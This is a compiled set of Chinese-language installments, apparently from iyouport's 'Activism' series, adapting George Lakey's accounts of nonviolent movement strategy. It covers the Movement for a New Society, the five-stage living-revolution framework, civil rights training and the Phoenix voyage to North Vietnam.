MNS成员对当时大多数活动家所能获得的培训质量都不满意，他们组成了一个培训集体，研究成人学习，阅读 Paolo Freire，从瑞典活动家和民权运动中学习经验教训，并创造了改善培训的体验方法。

因此，培训对MNS与新兴的反核运动建立联系并施加影响，至关重要。

当MNS成员与蛤壳同盟中的数千名反核活动家一起被关押在新罕布什尔州的军械库中时，他们就在那个临时监狱里为蛤壳同盟的亲密团队举办了数小时的培训课程。

全国各地的培训协助草根反核运动保持草根性，并取得胜利。即使在今天，年轻的气候组织者 Leif Taranta 依然报告说，对蛤壳同盟的记忆使其更容易招募新的英格兰反抗者加入今天的气候正义斗争。

【注：对于蛤壳同盟，在本系列第1集中看到《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》】

压迫/解放

「图」

MNS重视帮助人们从性别主义、种族主义、阶级主义和同性恋仇恨中解放出来，因为它知道，这些负担和其他负担会拖累我们，导致疲惫不堪；并且，在这些问题上的工作很可能会造成分裂，而且确实使一些组织分崩离析，使个人陷入困境。

📌 MNS知道这一点，因此强调团结—— 我们彼此之间的斗争需要承认，从根本上说，我们是盟友。

即使在MNS成立的同时，女性权利运动也在加速发展，我们迅速成立了男性支持小组，协助处理女性的强大话语权，以及集体和合作生活中不可避免的性别冲突。期待压迫者群体的成员以及被压迫群体的成员能够组成支持团体，这就成为了对可持续性的支持。

我们对待阶级的方法与马克思主义研究有明显的不同。MNS与广大成员的工作是高度体验性的—— 正如工人阶级成员喜欢说的那样，“脚踏实地”。随着我们认识的加深，我们注意到，📌 关于其他形式的压迫的权力斗争经常被阶级主义模式所破坏。其中一种表现方式就是竞争。“我遭受的压迫比你的更重要，我应该得到优先关注” …… 试图分裂受压迫等级的做法是可笑的，权力斗争并不是要争夺食物链的顶端。

为了处理这种复杂性，MNS的反抗工作每次只集中在一个压迫领域上。在70年代初，性别歧视是主要工作，然后随着在这一领域取得的成果，我们用演讲、非正式的对抗、和必不可少的支持小组来解决同性恋恐惧症问题。经过艰苦的工作和可见的进展，MNS转向抵制阶级主义和种族主义。

MNS愿意对冲突说“是”，并强调加入和区别对待的价值，支持其成员不仅作为活动家、也作为普通人得到成长。通过每次主要关注一种压迫，成员们能够看到解放进程中的共同点和不同点，不仅是作为遭受虐待的人、并且作为盟友，都得到了成长，并以支持自己作为活动家的个人力量和效力的方式从伤害中恢复过来—— 反抗是最好的疗愈。

可持续发展要素

「图」

📌 MNS处理了许多分歧，并试图保持一种对冲突友好的内部文化，同时以高度严格的方式确定其组织任务，从而保持团结。

服务于人民的运动，促进非暴力直接行动。

在整个70年代和80年代，MNS一直在 “在超常发挥”。然而，形势在变，组织也需要不断改进自己。

📌 当MNS试图改变时，我们发现自己从一开始就被我们对共识决策的承诺所牵制了。这种选择与试图让每个成员都获得归属感是一致的，因为我们相信，归属感有助于维持人们的斗争。然而，这一结构性因素却阻碍了必要的内部改革，由此可见，即使是极少数人也会阻碍前进的步伐。

📌 一个致力于实现变革的组织的固有结构却使它不能改变其自己，这是非常矛盾的。作为推动MNS创建的人，我觉得我有责任推动它的解散，并帮助这个组织在1988年偃旗息鼓。

从那时起，我就一直为我们所做的许多实验感到骄傲。在后来的组织环境中，我看到我们的许多设计元素运作良好，为人们提供了强有力的支持，否则他们可能会让步于无望或发现自己被内心的冲突所阻碍。我现在很想知道，MNS曾经认为的有价值的对可持续行动主义的支持，其中哪些部分会对今天重新面对这个问题的组织有借鉴价值。

现在就生活在革命中

「图」

如果抱有很大的期望，当结果不如预期时，人们就有可能产生倦怠感。渐进主义者的解决方案是放弃大的愿望；而作为变革推动者，**MNS**的解决方案有两个部分，这两个部分都使我们与我们的愿望愿景保持着持续的连接。它们中的每一个都可能适用于现在的行动主义组织。

📌 MNS解决方案的第一部分是努力采取任何可实现的步骤，从战略上帮助建立必要的群众运动，以实现所需的制度变革。一个希望被纳入到MNS网络的新集体需要解释其工作如何增加革命的机会。我们的变革理论提供了一些例子：可以建立非暴力直接行动运动，可以成为革命愿景的替代机构，以及基层活动家领导力发展的培训。

这些活动都不能替代所需的革命，而是作为实现革命的步骤。在每一步我们都可以宣布胜利，同时肯定这些步骤通向的地方：我们的最大愿望。

📌 MNS解决方案的第二部分是 “现在就生活在革命中”。我们在工作和日常生活的集体现实中寻找品尝自由解放的方法。在监狱里唱歌，在聚会上跳舞，利用我们的精神实践，在被解放的关系中爱，让成员们体验到了我们期望有一天会成为每个人共同拥有的东西：在新社会的机构支持下，以尊重和平等的方式生活在一起。

我记得有一次全国性的联盟网络会议，我们在午饭后聚在一起办事，照例在一圈歌声中开始。歌声一曲接一曲，斗志昂扬，有的成员手舞足蹈，穿梭其中，议程在平时守时的小组里过了一个多小时才开始，因为一圈光芒四射的面孔自发地占据了先机。

当我们以一种难以言表的精神相互接触时，我们的高远志向被重新唤醒，同时也坚定了继续为未来的革命承担必要风险的决心。

📌 希望您在阅读这篇文章的过程中始终在回想您自己的组织、社区和亲密团队，它们的发展怎么样了？你们的行动获得了哪些成功？有没有遗憾？是否缺少了某些组织生活技巧？…… 如果再来一次，您能找到更棒的让反抗可持续性发展的灵感吗？〇

—— 未完待续 ——

原文

如何才能让一个革命战略持续存活下去：行动主义（5） - iyouport

行动主义

【2021年4月16日存档】没有愿景的战略有什么价值？如果一场运动只知道自己不喜欢什么，甚至连应该用什么来取代今天不公正的体制的草图都没有，它怎么能评估其他的战略，或者要求并配得上它所需要的广泛支持呢？

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》
- 《创建强大的运动—用战术，而不仅仅是力量：行动主义（3）》
- 《当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4）》

在冷战高峰期的布拉格，我遇到了一位改变我一生的非洲自由战士。他和我在那里担任1967年国际青年革命大会的顾问。

来自铁幕两边的与会者来到会议现场，已经是反帝国主义斗争的盟友。为了寻找一个生动的话题来激励这场聚会，我提出了一个艰难的问题。我们是否应该从甘地的书中吸取教训，选择非暴力手段？非洲自由战士内森·沙穆亚里拉（Nathan Shamuyarira，他代表着当时正在进行的武装斗争）和我在接下来的讨论中充当了相反的两极角色。

分别前，内森和我抽空进行了一次友好的一对一交流。他说，“你知道我们很多人最初都是受甘地的启发，确实是从非暴力抗议开始的。我从小就是一个和平主义者，希望我们能以这种方式取得成功，但

是，手持武器的英国人无情地镇压了我们。现在我们别无选择，不得不武装起来。在我的国家，我们这些被给予领导权的人没有空间去寻找非暴力的替代方案。你的情况不同，你在读研究生，有智力资源也有时间，你可以做我们不能做的工作，探索我们看不到的可能性， 并写出一个务实的，战略路径的为非暴力革命。”

我怀着忐忑不安的心情接受了这个挑战。我阅读了许多关于行动战略的著作，包括弗朗茨·法农和穆雷·布克钦、切·格瓦拉和葛兰西以及罗莎·卢森堡。在研究生院里，我把每一门可能的课程都变成了推进我的使命的练习，并且变得过于专业化，以至于我的博士口试都没有通过。不过，我还是在1973年成功地出版了这本书《Strategy for a Living Revolution》。

从那之后内森·沙穆亚里拉和我再也没有过交集。他最终成为了津巴布韦的外交部长和独裁者罗伯特·穆加贝的辩护人。他两年前去世了，但他挑战我写的那本书还在继续。事实上，这本书的第三版北美版题为《Toward a Living Revolution》，在2016年3月份出版。为了纪念这一时刻，以下是关于形成这本书的人和事的其余故事。

激进化之旅

「图」

当我开始研究这本书的时候，我对政权更迭很感兴趣。就像几年前一些乐观主义者期待着阿拉伯觉醒的光明未来一样，我相信以非暴力的方式把流氓们赶出去，会带来一个公正的社会。

而认识内森后，我花了一个夏天埋头在哈佛图书馆里，我发现我的推理有重大缺陷。我从拉丁美洲找到了三个案例，人民以非暴力的方式推翻了他们的独裁者 —— 两个在**1944**年，一个在**1931**年—— 但是，后来发现这些革命者的成就都被寡头的反击抹杀了。

📌 显然，一场可持续生存的革命还需要更多的东西：更深层次的权力转移，更多的是新兴的民主基础设施和捍卫新社会的手段。所有这些都被写进了这本书里。

在瑞士克拉伦斯的一次国际地下集会上，我发现自己在深夜与来自学生非暴力协调委员会（简称SNCC）的伯纳德·拉法耶特（Bernard Lafayette）以及一个为正义而斗争的武装运动的领导人在一个房间里。在解释他的权力观时，伯纳德用了一个当时我第一次听到的比喻：一个社会就像一栋房子，而政权是屋顶， 依靠站在地基上的支柱

的支撑。地基就是人民的合作意愿。伯纳德说，不管屋顶多么耀眼 —— 有多少炸弹和子弹—— 如果地基倒了，屋顶就会倒塌。

【注：学生非暴力协调委员会（SNCC）是民权运动期间成立的一个组织。 SNCC组织者于1960年4月在绍尔大学成立，在整个南方规划静坐抗议。 随着黑人权力运动的普及，该组织在20世纪70年代不再运作。 】

伯纳德的支柱比喻促使我更清楚地看到，📌 预设性机构必须有足够的支撑力，才能在原有政权崩溃时支撑起社会。伯纳德还支持我很好地倾听第二天的反馈，当我与40名与会者分享我对这本书的进展时。

最关键的反馈来自一位学者，他问道，“没有愿景的战略有什么价值？如果一场运动只知道自己不喜欢什么，甚至连应该用什么来取代今天不公正的体制的草图都没有，它怎么能评估其他的战略，或者要求并配得上它所需要的广泛支持呢？”

我意识到他是对的，虽然解决这个问题会耽误这本书的完成。内森曾要求为非暴力革命提供一个普适理论，让人们可以根据自己的情况进行调整。这很好，我可以不为任何具体国家提供愿景。但我还是需要弄清楚愿景的作用，以及如何将其基本价值嵌入其中，同时让斗争中的民主讨论完善愿景。

当时，我不知道有任何运动实现了非暴力的社会革命、且导致了可持续的民主。我们需要从局部的成功中吸取经验。

📌 最成功的运动似乎经历了一系列的阶段，类似于人类从一个阶段到另一个阶段的成长。那么，愿景可能就像DNA一样，是嵌入的、有影响力的，但不是控制性的，它提供能力和内部资源，以及在某种程度上可能被克服的限制。革命者可以把愿景放在第一个阶段，让它成为DNA。

自从写这本书以来，我发现了一场非暴力的革命，在这场革命中，愿景确实以这种方式发挥作用。挪威的工农革命运动受到了马克思主义远见的巨大影响，但是并没有受到它的限制。人们在斗争的过程中，学习并关注着周围不断变化的世界。事实证明，挪威人成功地走过了“活性革命” 框架中的前四个阶段，其结果在80年后的今天，仍然以其平等和个人自由的程度让所有人震惊。

女权主义者对这些阶段提出了挑战

「图」

“活性革命” 的五阶段框架已经走得够远了，因此新社会运动（MNS）在1970年代初采用了这一框架。这一模式被纳入抗战者国际组织的 “非暴力革命宣言” 中，并以多种语言出版。

【注：抗战者国际，这个总部设在伦敦的国际反战组织是一个国际反战组织，其成员和分支机构遍布30多个国家。】

时间上恰逢女权主义的第二次浪潮，这场斗争在刚刚起步的MNS内部强烈展开。我和MNS中的其他男性一起工作；几年后，我才准备好帮助成立 “男性反父权主义” 运动。在我们MNS的斗争过程中，一些女权主义运动的女性成员发现活性革命模式太过适合父权制的思维模式了。于是她们指出，这些阶段是多么的线性：首先做文化准备（包括分析和愿景），第二步建立组织，第三步用行动宣传的方式对抗压迫者，第四步升级到群众不合作，第五步通过组织满足人们需求的合作替代方案，用第二阶段建立的平行机构填补由此产生的权力真空。

我承认这是线性的，但这就是发展计划的本质：婴儿/儿童/青少年/成人。“正是如此”，她们说，“现实比线性阶段更复杂。一个成年人通过拥抱内在的童稚来获得进一步的成长，而不是通过边缘化童年，成为一个成人控制狂。”

我继续反对。活动家的运动建设者往往有困难的思考顺序， 然而，当我在研讨会上要求他们将自己最喜欢的战术写在纸片上， 然后要求他们在地板上排列这些纸片的顺序时，他们就能做到；而且，他们平时作为一个小组的成果，其实实践的正是这五阶段模型! 阶段性挖掘了一种原本难以获得的常识。这个模型说明了一种自然发展，一旦说明，就能支持统一化和应用。

女权主义者继续论证。“这个模型的线性并不适合复杂的社会。在一个社会地点，人们刚刚对一个不公正现象有了意识，而在另一个地点，有一个群体已经在建立替代方案，而在第三个地点 —— 同时—— 有人在对抗阶段被逮捕。线性假装成一种连贯性，并不代表多样性的散乱！”

我们漫长的、常常是情绪化的对话，导致了队友们之间冲突的又一次胜利。我们认识到，当我们期待阶段性的迭代时，这个框架就能更好地发挥作用。

📌 在历史进程的早期，组织者可能会发现这个序列只从第一阶段到

第二阶段，然后不断重复。然后可能会到达第三阶段，再重复几次，直到第四阶段（大规模不合作）发生。这个序列可能会重复多次，直到最后，在足够多的社会/经济层面，随着协调性的不断增强，广泛的团结和联盟使它有可能完成整个五阶段序列。

运动可以用第一阶段的工作增加更多的人，把他们带入组织，支持他们度过激烈的第三阶段，而第三阶段又流向群众不合作，最后是平行机构出现。

其中一位批评家形象地展示了这样的框架修改将是周期性的—— 脱离了父权制的僵化，将类似于一种海洋动物的结构—— 贝类鹦鹉螺。鹦鹉螺长这样

这样灵活地修改框架，也使它对在一个没有面临革命形势的民主国家中开展的运动更加有用。一场运动的目标可能是法国劳工战略家安德烈·戈尔茨所说的 “革命性改革”。这种运动只需预测前四个阶段，有时只需发动前三个阶段，就能取得胜利。

【注：革命性改革，是设想的而不是根据在既定制度和行政管理范围内可能发生的事进行的改革。 并不威胁现有的结构。 】

我喜欢这种做法的谦逊。目前，我们无法预测1%的权贵对变革的抵触会在多长时间内与气候危机相结合，形成革命性的局面。社会的两极分化继续加速。我们可能会展开一场运动，期望它只运行三四个阶段就能获得特定的胜利，然而，如果自由主义 “民主” 的合法性迅速走下神坛，我们也不会感到惊讶，我们可以加深群众的不合作，进入平行机构的阶段，即 直接行动。

这种准备是2011年埃及亲民主力量发现的有用之处。全球非暴力行动数据库里有很多案例，足够说明当危机的深化超出了未来改革者的预期时，他们如何错失了机会。他们没有能准备好灵活地支持自己的运动，以充分表达可能被动员起来的人民力量。

通过回应内森的挑战，我更加坚定了我作为一个终身活动家的身份，并获得了与今天的现实保持联系的工具，同时为明天的可能性做好准备。我很感谢一路走来遇到的许多人，包括长期的活动家 David Hartsough，他最近的跨国旅行使他相信这本书能解决今天的挑战，并帮助实现了新的北美版本。〇

—— 未完待续 ——

原文

反抗运动如何通过培训来增强力量：行动主义（6）- iyouport

行动主义

【2021年5月11日存档】对反抗运动的训练和对体育比赛的训练并无二致：疼痛是不可避免的。思维、身体和心灵的调节，才能使获胜成为可能。

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》
- 《创建强大的运动—用战术，而不仅仅是力量：行动主义（3）》
- 《当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4）》
- 《如何才能让一个革命战略持续存活下去：行动主义（5）》

本文中涉及到书籍材料您可以在这里下载：https://www.patreon.com/posts/xing-dong-zhu-yi-47060359

学生非暴力协调委员会（简称SNCC）的大部分领导层来自田纳西州纳什维尔静坐运动 —— SNCC的年轻人经常是民权运动的步伐制定者，这不是偶然的。现在您甚至可以观看一部记录这一过程的短片：由詹姆斯·劳森牧师（James Lawson）领导的黑人学生精心策划的、循序渐进的培训研讨会。

在1986年菲律宾推翻独裁者费迪南德·马科斯之前，也有类似的秘密培训过程。那场斗争给了人们一个非暴力斗争的新名词: “人民力量”。菲律宾的暴力叛乱已经持续了很多年，但马科斯 —— 在美国的

帮助下 —— 已经能够遏制任何叛乱。然而，他没能挡住一场非暴力的直接行动反抗运动，最终被迫逃往美国的避风港。

并不是说反抗运动不在培训的维度上做文章就不能取胜。全球非暴力行动数据库中就包含了成功的直接行动运动，这些运动可以追溯到培训这种形式被发明之前的时代。然而，即使在那个时候，具有创新精神的运动领导人有时在知道自己面临的是一个强硬的对手时，也会开发出类似培训的相应的应对方法。

其中一个例子是 Khan Abdul Ghaffar Khan，他是一位来自现在的阿富汗和巴基斯坦的运动领导人，他想把他的同胞从大英帝国的殖民中解放出来。从观察甘地在他以南地区开展的 “真理实验” 中，他可以看到非暴力斗争的潜力，即使英军对印度的印度教徒下狠手。他可以预料到，英国人对自己这样的穆斯林会更加暴力。毕竟，种族主义和偏见是有深浅之分的。

于是他为他的非暴力行动主义队伍组织了行军演习，他称他们为 Khudai Khidmatgar，即 “神的仆人”。虽然这不像劳森牧师后来使用的角色扮演方式，但它在两个方面帮助增强了行动者的信心和团结：首先，艰苦的行军有助于加强活动家抵御暴力的能力；其次，它使人们能够实践自己的团结和对非暴力的承诺 —— 这反过来又会减少（虽然不会消除）镇压者对行动者的暴力程度。

事实证明的确如此。一名英国记者报告说，对 **Pathans** 的镇压比对印度教徒的镇压更为严厉 —— “大规模的枪杀和绞刑”。尽管如此，这场非暴力运动还是坚持了下来，英国人最终撤退了。甘地后来赞扬了 Pathans 在帮助赶走世界上最强大的帝国方面的作用。

有色人种与非暴力斗争的选择

「图」

从这些例子中可以看出行动主义培训的一个功能：它减少了对手暴力镇压的效果。

本文将引用有色人种的运动。全球非暴力行动数据库讲述了数百个有色人种反抗运动的胜利故事。有色人种如此频繁地选择非暴力对抗的一个原因是，它提供了这种获胜的机会，同时也降低了来自对手的暴力程度 —— 与选择暴力手段时的情况相比。

- 不要错过《“战略网”：鲜为人知的工具—可视化抗议运动能否

成功以及为什么失败，包括六四》

数据库中有一个可搜索的字段，显示对手是否使用暴力试图镇压抗议运动。虽然在有些情况下，对手并没有使用暴力，但暴力镇压确实经常出现。培训可以帮助活动家为这种可能性做好准备，培训中要解决的一个问题就是恐惧问题。

📌 这就是为什么我们安排了两个主要的相关系列教程：《整体安全》和《示威参与者指南》，此处的链接均为最后一集内容，其中包含已完成部分的完整列表。前一个系列已经完成，提供活动家从策划开始到行动中及行动后保护自己和队友的技巧；后一个系列正在进行中，专注于常规使用的镇压武器，以及行动者相应的应对方法，装备、护盾的使用方式，和注意事项。

在有色人种和白人对手之间的斗争中，活动家们往往都有白人对他们施暴的历史，这使他们有充分的理由产生恐惧。民权运动的静坐组织者就不得不考虑到这一点。

丹尼·葛洛佛（Danny Glover）的优秀电影《自由之歌》（Freedom Song）形象地展示了SNCC的培训是如何努力支持年轻人面对白人暴力的近乎必然性，并期待胜利，以及处理斗争可能伴随的痛苦的能力。这与人们为体育比赛而进行的训练并无二致。疼痛是不可避免的，而它对思想、身体和心灵的调节，将使胜利成为可能。

著名活动家 George Lakey 讲述了一个故事。多年前他在费城市中心乘坐电车时，亲身体会到了这一点，当时他的儿子 Peter 12岁。他和旁边座位上的一个男人开始了对话。那个男人对 George 的黑人儿子很热情，他说："你知道吗，当我像你这么大的时候，我做了我这辈子做过的最好的事！"

Peter 靠了过来盯着那个男人的眼睛。

"我来自伯明翰"，他继续说，"我曾和 King 博士一起参加过儿童游行！那可是一些非常沉重的东西。有一天，消防员和警察一起来了，举着消防栓向我们喷射，阻止我们的游行。"

那人见 Peter 屏住呼吸，笑着说。

"是啊，他们抓住了我。那消防栓简直把我打得晕头转向。你从来没有见过这样的事。我们所有的人都被打翻了，但是所有抗议者都没有逃跑 —— 人们开始唱歌 '谁也别想让我们转身！'

“但我们中的一些人的确受伤了，而我们大多数人都湿透了。所以你知道，第二天我们确实都回来了，我们这些孩子更多，还有一些大人也在那里。”

Peter 看着父亲，想从父亲的眼睛里判断他是否应该相信这个奇幻的故事。他的父亲知道，那个男人讲述的是民权运动中最戏剧性的故事之一。

“你受伤了吗？” Peter 问道。

“没有，只是有些擦伤”，那人说。“我们第二天就返回抗议现场了，尽管现在我们知道继续抗议意味着什么，而当时父母不让我们再去，但我们还是去了。你知道，我们会继续唱那首「永不转身」的歌。”

“你们在开始行动之前，有没有接受过什么培训？” George Lakey 问那人。

“是的，必须有培训，我们先是在浸信会教堂见面，吉姆·贝维尔和其他大人训练我们无论发生什么事—— 包括遇到警犬什么的—— 都要保持非暴力。”

他自豪地笑了。“我们很勇敢，伙计，我会永远记住那些歌。妈的，我们赢得了那场战斗！”

是的，那些年轻人在1963年伯明翰运动中赢得了那场特殊的战斗，因为有一天，当警察局长 “Bull” Connor 命令消防员再次打开那些消防栓时，这些公务员拒绝了命令。

- 还记得吗，公务员抗旨是反抗者最大的胜利，关于为什么见第2集 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》

白人经济精英开始与领导层谈判，迫使政客们达成协议。阿拉巴马州的伯明翰开始取消种族隔离。

为当下的政治时刻举办新的培训讲习班

「图」

当下，许多国家的正义斗争正面临着严峻的政治形势，需要更多的技能 —— 不仅仅是本文中讨论的战术培训。这些斗争还需要进行组织培训，说明如何建立有效的、多样化的、有领导能力的团体，并发展

能够扩大规模的反抗网络和联盟。

- 具体做法《直接行动分步指南：它是什么、它有什么用、如何获得成功》
- 直接行动最重要的技巧之一：《安全文化和实践方法》

在两极分化的社会中，这些技能尤其有用，因为在这种情况下，反抗运动可以迅速发展。推荐一个组织资源《基层和非营利组织领导力：瞬息万变时代的组织指南》。

除了组织技能和战术力量，您还需要有能力为非暴力直接行动运动制定合理的战略。毕竟，成功的非暴力运动都需要利用运动技术来取胜。关于如何制定战略和相应的战术，见《确定变化的杠杆：信息行动主义指南（2）- 战略效用》。

全球非暴力行动数据库是以运动为基础的，还有马克·恩格勒和保罗·恩格勒的《这是一场起义》，以及埃里卡-切诺威斯和玛丽亚-J-斯蒂芬的《为什么民间抵抗有效》等书籍，现在您可以免费下载，以参考，最好将它们应用到您的本地社区培训中。

现在许多参加抗议活动的人并不知道有直接行动运动技术这种东西 —— 更不知道胜利取决于对这种技术的理解和善用。这意味着巨大的反抗能量和人才库没有得到充分利用。

为此，George Lakey 发明了一种新的、简短的培训方式，向人们介绍行动主义技术。这一培训项目已经在很多不同地区经过了15次测试，测试对象是活跃在反种族主义、经济正义、气候正义、争取移民权利、经济适用房、原住民权利、医疗保健和其他反抗议题上的活动家们。

人们报告说，他们看得更加清晰了，更有能力看到积极变化的可能性。他们特别赞赏了制定成功运动的易记框架，并赞赏了该框架使战略制定更加容易。有些人发现，这些培训让他们更充分地了解到了自己的力量和权力。

成功的运动需要一个学习曲线

「图」

从 George Lakey 六十年的研究和参与运动的经验来看，最成功的运动擅长从其展开的经验中学习。那些重视参与者能力的人，就会想方

设法建立基层组织的学习曲线。

20世纪30年代，美国的培训资源包括布鲁克伍德劳工学院，高地人研究与教育中心就是在那个时候出现的，并延续至今。60年代又出现了新的培训学校，包括马丁路德金社会变革学校。现在还有更多培训机构，包括“动量”、“野火”和“变革培训”等。在这个暴力镇压连绵不断的时代里，行动者更应该记住，要建立自己的应变能力，不断学习。

IYP提供的所有内容您都可以使用来进行自己的培训计划。〇

—— 未完待续 ——

原文

运动如何利用戏剧性抓住公众的想象力：行动主义（7） - iyouport

行动主义

【2021年5月13日存档】戏剧的价值在于让你猜不到结局。行动主义也一样 —— 不要让你的对手能预测到你们的下一步，不要让他们能做到精准打击

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》
- 《创建强大的运动—用战术，而不仅仅是力量：行动主义（3）》
- 《当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4）》
- 《如何才能让一个革命战略持续存活下去：行动主义（5）》
- 《反抗运动如何通过培训来增强力量：行动主义（6）》

这篇文章来自美国老牌活动家乔治·拉塞尔·莱基，他也是社会学家和作家，为非暴力革命的概念增添了学术基础。在这里，他讲述了当年的反战运动和近期的气候正义运动中两个非常著名的戏剧性创意行动，及其重要原理。

文章以第一人称讲述。

♦□♦□♦□

戏剧性有助于引起公众对您所提出问题的关注。日出运动只是最近出现的通过戏剧性抓住公众想象力而发展起来的运动之一。活动家们如何想出直接行动的策略以 “超越合唱团”？—— 这是作者乔纳森·斯马

克（Jonathan Smucker）的话，指的是那种模式化的规范的协作行动。

【注：日出运动是美国501政治行动组织，倡导应对气候变化的政治行动。该组织于2017年首次成立，支持桑德斯的“绿色新政”。】

要做到这点，就需要进入创意的领域。戏剧性的电视节目创建在编剧室里完成，一群有创造力的人们在这里交换想法，产生方案。活动家们在漫长的工作后，如果只是期望在沉闷的地下室里举行的大型会议上产生美妙的想法，可能不会让自己获得成功。会议结束后，在酒吧里与有创意的朋友们开怀畅谈，可能会有更好的效果。

创意也可以是个人的事。一个好的想法可能是在洗澡的时候、在河边散步的时候、在社区里、在阅读其他反抗行动的介绍后盯着窗外看的时候产生的。我的一个朋友喜欢用轻松的方式扫描吉恩·夏普的近两百种非暴力方法的清单。

- 不要错过《如何释放隐藏的创造力》

【注：吉恩·夏普（Gene Sharp），哲学、政治学和社会学学者，以对权力和非暴力运动的著述著名广泛流传于世界各地的社运界，被视为全球茉莉花革命的“理论推手”，在西方国家享有“非暴力抵抗教父”和“非暴力抗争理论大师”之誉。】

- 在这里下载《198种非暴力行动方案》

戏剧的魅力是不确定的结果

「图」

虽然与包括当局在内的其他人发生冲突确实是一种戏剧性的邀请，但是，冲突很容易因重复而成为哑剧。想想1999年西雅图之战后的那段时期，大批全球正义的倡导者成功迫使世界贸易组织的会议提前结束。消息传出：聚集在一个当权者聚集的地方，制造混乱，为你的反抗事业做宣传。冲突发生在政治会议和其他地方。虽然它们对许多参与者来说是令人兴奋的，有时也得到了当地的报道，但是，其结果往往是可预见的。最常见的结果是：反抗的中心议题很少受到关注。

- 人们总是会错过反抗运动的重点，这非常削弱反抗者的能力，比如这里所说明的《通过ClubHouse看到社交网络舆论场有多么容易被操纵》

日出运动发言人 Stephen O'Hanlon 说，当年轻的活动家们在11月占领众议院议长 Nancy Pelosi 的办公室时，没有人能够知道会发生什么。日出运动要求她支持绿色新政。然而，最大的问题是。她是否会满足这一要求，或者至少支持成立一个专门委员会？(最终她确实允许了成立气候危机专委会)。

但其他问题也出现了。她会逮捕这些活动家吗？(她最终没有逮捕人们)；绿色新政会不会引起巨大的轰动？(当一切都结束后，它得到了巨大的主流媒体的关注) 。

而起作用的，正是这场行动中的悬念。

赌注可能是生死之别

「图」

即使是一个小团体有时也能大规模地使用这种动态。1964年大选中所谓的 "和平候选人" 林登·约翰逊总统在上任第二年就将越战全面升级了。当时，广大公众对越南的处境以及这个小国可能遭受的苦难，只有模糊的认识。事实上，越南人经历了一场比二战期间盟军对整个欧洲发动的轰炸更大规模的轰炸行动。

1966年，俄亥俄州的贵格会教徒霍勒斯·钱普尼（Horace Champney）有了一个行动的想法，正当新的组织 A Quaker Action Group（简称 AQAG）在寻找行动的时候。霍勒斯提议让联邦政府陷入两难境地，设法把医疗用品送到在轰炸下受苦的北越平民手中。

美国人支持救灾，但没有意识到，在越南，美国公民的税收是在为制造灾难而不是为救灾买单。如果单纯通过带来救济以制造反战行动的戏剧性，可能只会转移公众舆论。诚然，政府确实把北越描绘成敌人来为轰炸辩护，而贵格会教徒被广泛视为 "好人"，也许天真，但有时却站在历史的正确一边。

AQAG 决定一艘试图运送医疗用品的帆船可能会以一种新的方式 *展示战争*，为日益增长的和平运动打开新的大门。这将是这场行动的战略目标。

AQAG联合主席乔治·威洛比知道，一艘帆船 "需要花费时间" 才能到达某个地方，可以在一段足够长的时间内产生持续的鼓声，制造悬念。1958年，他曾为非暴力行动委员会乘坐 "黄金规则" 号驶向太平洋核试验区。这次航行收获了广泛的关注，帮助建立了反对大气层核

试验的成功运动。

1966年，在乔治·威洛比远航近10年后，厄尔·雷诺兹为AQAG的项目提供了他的木筏帆船凤凰号。让这次航行充满戏剧性的是，没有人能够预测会发生什么。当时军方的驱逐舰和航空母舰占领了整个南海，封锁了北越。

凤凰号能否驶过美国第七舰队？政府和军方会不会在行动者的出发地广岛或香港拦截船只和船员？他们会不会在公海上扣押“凤凰”号？会不会制造“事故”，让“凤凰号”神秘失踪？

这场行动需要的是一些能意识到自己可能回不来了的船员。船员贝蒂·博德曼在她的《凤凰号之旅》一书中讲述了当一架美国喷气式飞机真的向他们俯冲时，在离主桅杆很近的地方拉开了俯冲的距离。凤凰号第一次航行运送工作人员和医疗物资，照片中从左到右：Phil Drath，Betty Boardman，Earle Reynolds，Akie Reynolds，Bob Eaton，Horace Champney 和 Ivan Massar。

活动家们永远不会忘记他们在华盛顿与国务院、财政部和国防部官员的会面。他们知道自己已经被监视了，联邦调查局知道行动者的全部计划，但活动家们依旧喜欢自己寻求会面的强硬态度 —— 最好当面告诉当权者。

在那次会面上，当局威胁活动家们要承担多种后果，比如被查封银行账户、被罚款和被逮捕船员。但结果是，三个联邦部门自己都无法就如何处理“凤凰号”达成一致。

相反，他们把决定权踢给了楼上的白宫。在那里，他们决定让“凤凰”号前往北越的海防港，国家安全顾问沃尔特·罗斯托被指派负责确保“凤凰”号的安全。

我后来了解到更多关于这个决定的情况。在进行一次跨国巡回演讲时，我遇到了一位愤怒的海军飞行员。这个留着络腮胡子、肌肉发达的年轻人在我进入我将要演讲的中西部校园礼堂之前拦住了我。

“我是你们凤凰号附近航母上的船员”，他说，他误以为我是那次航行的船员。(其实我是后来的船员，为援助反战的佛教徒前往南越的航次)。

那个心烦意乱的年轻人继续说：“那天我们被安排飞行，进行训练。我们在互相打赌，赌我们谁会把你们的船弄沉。然后，就在我们准备

起飞的时候，大喇叭里传来了取消演习的命令。他们说，这个命令是直接从白宫传来的。”

这个人还在为错失机会而生气，把我看成是他的国家的叛徒之一。我邀请他到礼堂参加会议，告诉他我会给他一个机会，让他说出自己的想法。他很惊讶，犹豫了一下，然后突然转身离开了。

凤凰号远航北越的事迹，在各种电视新闻、报纸、杂志中被广泛报道。回到美国后，随着宗教机构和民间团体的大门敞开，船员的需求量也越来越大。中美洲正在醒悟到发生了什么。

今天的绿色新政、全民医保和其他大胆提案的社会运动，将通过组织更多的非暴力直接行动来壮大自己，增加成功的机会。这样的运动需要在媒体上突破的战术，需要通过破坏性的行动传递明确的信息，制造悬念 —— 即：不容易预测的结局。

